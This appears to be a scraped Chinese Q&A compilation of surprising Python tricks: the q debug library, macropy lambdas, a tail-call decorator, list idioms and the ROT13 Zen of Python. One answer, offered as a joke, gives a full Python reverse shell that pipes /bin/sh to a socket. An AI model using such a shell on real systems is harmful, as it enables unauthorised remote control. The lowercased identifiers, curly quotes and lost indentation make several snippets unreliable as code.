你见过哪些令你瞠目结舌的python代码技巧?

基友问题你见过哪些让你瞠目结舌的java代码技巧? – java你见过哪些令你瞠目结舌的c/c++代码技巧? – 互联网你见过哪些令你瞠目结舌的前端设计? – 程序员你见过哪些令你瞠目结舌的javascript代码机技巧? – 程序员你见过哪些令你瞠目结舌的爬虫技巧? – 计算机神经问题,非程序员欢迎一起来回答你见过哪些令你瞠目结舌的神逻辑? – 生活你见过哪些令你瞠目结舌的黑料理?你见过哪些令你瞠目结舌的逗逼?还有更多的,欢迎大家一起系列回复内容:
当初看到这个还是觉得蛮瞠目结舌的:https://pypi.python.org/pypi/qquick-and-dirty debugging output for tired programmers正如介绍所说的,quick-and-dirty,quick-and-dirty。第一眼看起来,只是觉得这个很方便啊,可是仔细想想怎么实现,真是。。。全是黑科技。。。q 的最简单用法,打印 foo 的值:

import q; q(foo)

让我觉得瞠目结舌的要数这个python库了,真是将import hook用到了极致:lihaoyi/macropy · github你问我这个有什么屌的?来来来,看几个例子:更好用的lambda表达式

from macropy.quick_lambda import macros, f, _
print map(f[_ + 1], [1, 2, 3]) # [2, 3, 4]
print reduce(f[_ * _], [1, 2, 3]) # 6

我记得当初研究python对递归支持有多烂的时候搜到过有人通过装饰器用一种很hack的手法,把尾递归的栈帧清了。然而现在还是看不懂它写的是什么鬼。code:

import sys
class tailrecurseexception:
def __init__(self, args, kwargs):
self.args = args
self.kwargs = kwargs
def tail_call_optimized(g):
“””
this function decorates a function with tail call
optimization. it does this by throwing an exception
if it is it’s own grandparent, and catching such
exceptions to fake the tail call optimization.

this function fails if the decorated
function recurses in a non-tail context.
“””
def func(*args, **kwargs):
f = sys._getframe()
if f.f_back and f.f_back.f_back and f.f_back.f_back.f_code == f.f_code:
raise tailrecurseexception(args, kwargs)
else:
while 1:
try:
return g(*args, **kwargs)
except tailrecurseexception, e:
args = e.args
kwargs = e.kwargs
func.__doc__ = g.__doc__
return func

谢邀,我今天无耻一回dwarfartisan/pyparsec · github不许打!打也不许打脸!
先让我反弹个shell冷静一下

import socket,subprocess,os
s=socket.socket(socket.af_inet,socket.sock_stream)
s.connect((“127.0.0.1”,12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,”-i”]);

之前在github看到有人总结了一些python的tricksbrennerm/pytricks · github
>>> a = [],>>> a([],)
>>> a = [[1,2],[3,4],[5,6]]>>> sum(a,[])[1, 2, 3, 4, 5, 6]python 真的好神奇 : )再补充一个,python切片:>>> l = [1,2,3]>>> l[1:1] = ‘a’>>> l[1, ‘a’, 2, 3]python分组list:>>> a = [1, 2, 3, 4, 5, 6]>>> zip(*([iter(a)] * 2))[(1, 2), (3, 4), (5, 6)]
前几年刚学python的时候在一个项目里做了几个小尝试。用元编程动态生成类,生成以后动态加载卸载。把类当函数用。把函数当变量用。花样玩容器。顺手把其他几种ee工程师们写出来的五花八门的脚本包装了一个整整齐齐。注释齐全,结构简明。不是性能瓶颈,所以性能不在考虑范围内。结果被“资深工程师”骂成了狗,苦逼地回到了c++。其实只是他没有用过c++以外的任何一种语言,他的逻辑是c++是所有语言的基础,他看不懂的代码就不是好代码。
→_→下面这段居然特么混进了标准库里,令我瞠目结舌

s = “””gur mra bs clguba, ol gvz crgref
ornhgvshy vf orggre guna htyl.
rkcyvpvg vf orggre guna vzcyvpvg.
fvzcyr vf orggre guna pbzcyrk.
pbzcyrk vf orggre guna pbzcyvpngrq.
syng vf orggre guna arfgrq.
fcnefr vf orggre guna qrafr.
ernqnovyvgl pbhagf.
fcrpvny pnfrf nera’g fcrpvny rabhtu gb oernx gur ehyrf.
nygubhtu cenpgvpnyvgl orngf chevgl.
reebef fubhyq arire cnff fvyragyl.
hayrff rkcyvpvgyl fvyraprq.
va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.
gurer fubhyq or bar– naq cersrenoyl bayl bar –boivbhf jnl gb qb vg.
nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh’er qhgpu.
abj vf orggre guna arire.
nygubhtu arire vf bsgra orggre guna *evtug* abj.
vs gur vzcyrzragngvba vf uneq gb rkcynva, vg’f n onq vqrn.
vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.
anzrfcnprf ner bar ubaxvat terng vqrn — yrg’f qb zber bs gubfr!”””
d = {}
for c in (65, 97):
for i in range(26):
d[chr(i+c)] = chr((i+13) % 26 + c)
print “”.join([d.get(c, c) for c in s])

Posted in 未分类

发表评论